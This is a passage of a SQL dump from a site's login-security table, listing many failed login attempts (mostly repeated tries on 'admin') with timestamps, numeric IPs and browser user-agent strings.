(100631, 1496173925.758901, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100630, 1496173925.438784, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100629, 1496173925.130036, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100628, 1496173924.815917, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100627, 1496173924.501441, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100626, 1496173924.192151, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100625, 1496173923.879512, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100624, 1496173923.568412, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100623, 1496173923.258438, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100622, 1496173922.942459, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100621, 1496173922.629733, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100620, 1496173922.319302, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100619, 1496173922.008320, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100618, 1496173921.695776, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100617, 1496173921.385962, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100616, 1496173921.075427, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100615, 1496173920.758551, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100614, 1496125580.761098, 1, 'loginFailInvalidUsername', 'notre', 0, 2734175325, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100613, 1496125251.112699, 1, 'loginFailInvalidUsername', 'outils', 0, 3164986572, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100612, 1496125087.725602, 1, 'loginFailInvalidUsername', 'venez', 0, 3555103830, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100611, 1496125083.405617, 1, 'loginFailInvalidUsername', 'objectifs', 0, 3555103830, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100610, 1496125080.794971, 1, 'loginFailInvalidUsername', 'cross', 0, 3555103830, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100609, 1496125077.688888, 1, 'loginFailInvalidUsername', 'pour', 0, 3555103830, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100608, 1496125073.633974, 1, 'loginFailInvalidUsername', 'notre', 0, 3555103830, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100607, 1496125070.106179, 1, 'loginFailInvalidUsername', 'training', 0, 3555103830, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100606, 1496125067.574683, 1, 'loginFailInvalidUsername', 'vous', 0, 3555103830, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100605, 1496125064.327674, 1, 'loginFailValidUsername', 'pablo', 3, 3555103830, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100604, 1496125061.128359, 1, 'loginFailValidUsername', 'julie', 2, 3555103830, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100603, 1496125058.541949, 1, 'loginFailValidUsername', 'admin', 1, 3555103830, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100602, 1496116531.012500, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100601, 1496116530.697078, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100600, 1496116530.388610, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100599, 1496116530.069227, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100598, 1496116529.758272, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100597, 1496116529.447771, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100596, 1496116529.138821, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100595, 1496116528.826888, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100594, 1496116528.517273, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100593, 1496116528.208393, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100592, 1496116527.898955, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100591, 1496116527.585318, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100590, 1496116527.275569, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100589, 1496116526.961246, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100588, 1496116526.651248, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100587, 1496116526.330003, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100586, 1496116526.021421, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100585, 1496116525.712397, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100584, 1496116525.347731, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100583, 1496087364.255745, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100582, 1496087363.947303, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100581, 1496087363.637986, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100580, 1496087363.327778, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100579, 1496087363.017670, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100578, 1496087362.709613, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100577, 1496087362.400726, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100576, 1496087362.092075, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100575, 1496087361.780592, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100574, 1496087361.469172, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100573, 1496087361.155119, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100572, 1496087360.842256, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100571, 1496087360.528953, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100570, 1496087360.219965, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100569, 1496087359.908039, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100568, 1496087359.551049, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100567, 1496087359.236442, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100566, 1496087358.927704, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100564, 1496016405.395154, 1, 'loginFailValidUsername', 'admin', 1, 1539837113, ''),
(100565, 1496087358.584144, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100562, 1496016404.997894, 1, 'loginFailValidUsername', 'admin', 1, 1539837113, ''),
(100563, 1496016405.084761, 1, 'loginFailValidUsername', 'admin', 1, 1539837113, ''),
(100560, 1496016404.693396, 1, 'loginFailValidUsername', 'admin', 1, 1539837113, ''),
(100561, 1496016404.770173, 1, 'loginFailValidUsername', 'admin', 1, 1539837113, ''),
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(100548, 1496016403.760200, 1, 'loginFailValidUsername', 'admin', 1, 1539837113, ''),
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(100379, 1495884375.688956, 1, 'loginFailValidUsername', 'julie', 2, 1539836981, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36'),
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(100377, 1495872233.301262, 1, 'loginFailInvalidUsername', '{login}', 0, 2156323210, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
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(100368, 1495857240.437678, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100367, 1495857240.129427, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100366, 1495857239.820632, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100365, 1495857239.509831, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100364, 1495857239.200764, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100363, 1495857238.891135, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100362, 1495857238.580597, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100361, 1495857238.265058, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100360, 1495857237.951156, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100359, 1495857237.640661, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100358, 1495857237.331723, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100357, 1495857237.022129, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100356, 1495857236.707969, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100355, 1495857236.395771, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100354, 1495857236.078681, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100353, 1495852932.961256, 1, 'loginFailInvalidUsername', '{login}', 0, 1042038966, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100352, 1495846197.428282, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3470134655, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100351, 1495841872.470910, 1, 'loginFailValidUsername', 'admin', 1, 1828725654, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100350, 1495839704.131774, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 783835753, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100349, 1495837555.488568, 1, 'loginFailInvalidUsername', '{login}', 0, 1534992972, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100348, 1495835388.938914, 1, 'loginFailValidUsername', 'admin', 1, 3397466494, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100347, 1495833372.807289, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1046956164, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
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(100345, 1495829229.004134, 1, 'loginFailValidUsername', 'admin', 1, 1563679021, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100344, 1495827807.342046, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100343, 1495827807.032758, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100342, 1495827806.720130, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100341, 1495827806.409871, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100340, 1495827806.100097, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100339, 1495827805.788778, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100338, 1495827805.477898, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100337, 1495827805.168308, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100336, 1495827804.857771, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
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(100334, 1495827804.239368, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100333, 1495827803.928135, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100332, 1495827803.618539, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100331, 1495827803.306955, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100330, 1495827802.996128, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100329, 1495827802.686131, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100328, 1495827802.375993, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100327, 1495827802.064934, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100326, 1495827801.752327, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100325, 1495827571.731989, 1, 'loginFailValidUsername', 'julie', 2, 2030594922, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
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(100323, 1495822995.814892, 1, 'loginFailValidUsername', 'admin', 1, 781668949, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
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(100321, 1495816486.714127, 1, 'loginFailValidUsername', 'admin', 1, 2945407100, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
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(100319, 1495812262.171206, 1, 'loginFailInvalidUsername', '{login}', 0, 1941604657, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100318, 1495808121.064227, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1835212082, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100316, 1495807151.492330, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100317, 1495808121.064226, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1835212082, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100315, 1495807151.180026, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100314, 1495807150.868078, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100313, 1495807150.556678, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100312, 1495807150.243272, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100311, 1495807149.877088, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100310, 1495807149.567416, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100309, 1495807149.250521, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100308, 1495807148.938042, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100307, 1495807148.627150, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100306, 1495807148.314604, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100305, 1495807148.001676, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100304, 1495807147.689589, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100303, 1495807147.379959, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100302, 1495807147.069475, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100301, 1495807146.753574, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100300, 1495807146.438443, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100299, 1495807146.126963, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100298, 1495807145.806355, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100297, 1495806054.624280, 1, 'loginFailInvalidUsername', '{login}', 0, 1845364905, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100296, 1495801673.014177, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1828828346, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100295, 1495799547.648618, 1, 'loginFailInvalidUsername', '{login}', 0, 998235371, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100294, 1495795232.077736, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3735412901, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100293, 1495793067.854757, 1, 'loginFailInvalidUsername', '{login}', 0, 3170385964, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100292, 1495788617.050800, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1042038966, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100291, 1495784050.746217, 1, 'loginFailValidUsername', 'admin', 1, 1401863434, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100290, 1495781347.928362, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3254658598, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100289, 1495779079.096273, 1, 'loginFailInvalidUsername', '{login}', 0, 3397466494, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100288, 1495776658.723332, 1, 'loginFailValidUsername', 'admin', 1, 3107039609, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100287, 1495771606.049286, 1, 'loginFailInvalidUsername', '{login}', 0, 783839564, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0');
INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
